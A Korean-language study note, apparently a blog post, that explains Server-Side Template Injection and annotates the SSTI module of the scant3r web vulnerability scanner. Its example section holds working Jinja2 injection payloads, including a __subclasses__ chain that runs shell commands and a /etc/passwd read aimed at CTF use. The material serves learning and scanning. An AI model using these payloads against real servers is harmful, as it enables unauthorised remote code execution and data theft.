scant3r_SSTI

▶ SSTI(Server-Side Template Injection)

 

- 공격자가 서버에서 임의의 코드를 실행할 수 있는 사용자 입력으로 템플릿 지시문을 주입할 때 발생하는 취약점

- 종류 : Ruby, Java, Twig, Smarty, Freemarker, Jade/Codepen, Velocity, Mako, Jinja2 둥

 

- 정적 웹페이지 : 간단한 html을 사용해 페이지를 만들고 서버에 저장해 불러온 그대로의 모습을 보여주는 방식

- 동적 웹페이지 : 사용자가 작성하거나 선택한 이벤트에 따라 웹페이지의 구성과 내용이 달라지는 방식

- 템플릿 언어 : 언어의 변수 및 문법을 html 안에서 쓸 수 있도록 제공해주는 언어로 템플릿을 이용하면

                       구성하기 간단하면서 동적인 페이지를 만들 수 있음

 

- RCE(Remote Code Execution)가 템플릿에 들어가면 악의적인 행동 발생 가능

- RCE(원격 코드 실행) : 사용자와 동적으로 작동하는 템플릿의 방식에 나타나는 취약점으로 임의의 코드를 실행하도록

                                   하여 공격자가 프로세스를 제어할 수 있도록 만듦

 

→ 템플릿 주입은 웹 서버의 내부를 직접 공격하고 종종 RCE를 획득하여 취약점을 발생시킴

 

- Server-Side Template Injection 하는 방법

1. 구문을 입력하는 곳에 {{config}}나 주어진 단서를 활용하여 File.open('/etc/passwd')를 인젝션하여 디렉토리 확인

2. cat flag.txt 같은 코드를 rce하여 flag 값 뽑아오기

 

- SSTI 예제

?content={{7*7}}  → 49 출력

?content={{config.items()}}  → 딕셔너리 형태로 현재 설정되어 있는 config 출력

?content={{config.from_object('os')}}*  → os 라이브러리에 설정되어 있는 config 추가
?content={{''.__class__.__mro__}}  → root에 접근

슬라이싱 기법 이용하여 원하는 클래스 찾아보기

ex) {{''.__class__.__mro__[1]__subclasses__()[408]('ls',shell=True,stdout=-1).communicate()}} → 디렉토리 목록 출력

 

 

- SSTI 연습하기 좋은 ctf 문제

www.root-me.org/en/Challenges/Web-Server/ 

(Java - Server-side Template Injection)

 

 

 

 

▶ 코드 분석 

 

from urllib.parse import urlparse // URL 구문 분석 함수

URL을 6개의 구성 요소로 구문 분석하여 6개 항목 네임드 튜플 반환

 

from wordlists import ssti // ssti 취약점

 

from core.libs import alert_bug, insert_to_params_urls // ssti 경고창, url 주입

 

 

 

def __init__(self,opts,r):

     self.opts = opts

     self.http = r

     __init__함수로 opts와 r을 받아서 초기화 해줌

 

 

 

def scan(self,url,methods=['GET','POST']): 해당 url과 method 방식 불러옴

     for method in methods:

          for payload,match in ssti.items(): items() 함수 이용

          item() 함수 이용하여 payload와 match 쌍을 한꺼번에 출력

 

               nurl = insert_to_params_urls(url,payload) 해당 url과 payload 받아옴

            ※ def insert_to_params_urls(url,text,single=True,debug=False):

                    u = list()

                    try:

                         if len(url.split('?')) >= 1: url에서 '?'라는 문자로 나눈 개수가 1보다 크거나 같으면

                              for param in url.split('?')[1].split('&'): 위에서 나눈 값에서 '&'라는 문자로 문자열 나누기

                                   u.append(url.replace(param,param + text))

                                   param 값을 param에 text를 더해준 값으로 바꿔준 후 list에 요소 추가

                         return remove_dups(u) 리스트 반환

                     except Exception as e: 예외처리 오류가 발생하면 해당 블록 수행

                          if debug:

                               print(f'[insert_to_params_urls] {e}')

                          return list()

 

               for n in nurl:

                    if method == 'GET': 만약 method가 GET 방식이라면 해당 method 값 반환

                                               load() 함수로 이어지고 agent.txt 읽기 파일로 생성되는 듯(?)

                         r = self.http.send(method,n)

                        ※ send() 함수

                        def send(self,method='GET',url=None,body={},headers={},redirect=False,org=True):

                        try:

                             a = Agent()

                             if self.ragent:

                                  a.load()

                             if 'User-agent' not in headers.keys():

                                  headers['User-agent'] = a.random

                             if self.headers:

                                  for h,v in self.headers.items():

                                        headers[h] = v

                             if self.redirect:

                                  redirect = True

                             else:

                                  redirect = False

                             if self.timeout:

                                  timeout = self.timeout

                             else:

                                  timeout = 10

                             if type(self.proxy) == dict:

                                  proxy = self.proxy

                             else:

                                  proxy = {}

                             if org:

                                  if body:

                                       body = post_data(body)

                            else:

                                  body = {}

                            if method != 'GET':

                                  if body:

                                      pass

                                  else:

                                      body = post_data(urlparse(url).query)

                                      url = url.split('?')[0]

                            time.sleep(self.delay)

                            req = request(method, url, data=body, headers=headers, allow_redirects=redirect, verify=False,

                                                  timeout=timeout, proxies=proxy)

                            self.count += 1

                            if self.debug:

                                  print(f'--- [#{self.count}] Request ---')

                                  print(dump_request(req).decode())

                                  print('\n---- RESPONSE ----')

                                  print(dump_response(req).decode())

                                  print('--------------------\n\n')

                            return req

                      except Exception as e:

                            if self.debug:

                                  print(e)

                            return 0

 

                    else: 아니면 url에서 '?' 문자로 나눠주고 n쿼리의 URL 항목 튜플 형태로 분석하여 반환

                         r = self.http.send(method,url.split('?')[0],body=urlparse(n).query)

                    if r != 0: # 0 = Connection error: r이 0이면 connection error, 0이 아니면 각각 해당하는 값을 반환

                         if match in r.content.decode('utf-8'):

                              return {

                                           'http':r,

                                           'target':n,

                                           'match':match,

                                           'payload':payload,

                                        }

 

 

 

def main(opts,r):

s = Scan(opts,r)

v = s.scan(opts['url'],methods=opts['methods'])

if v:

alert_bug('SSTI',**v)

s라는 객체를 만들어 opts와 r을 전달해줌

v라는 객체에 해당 url과 methods(GET or POST)를 전달받고 만약 v가 존재한다면 SSTI 취약점 경고창 띄움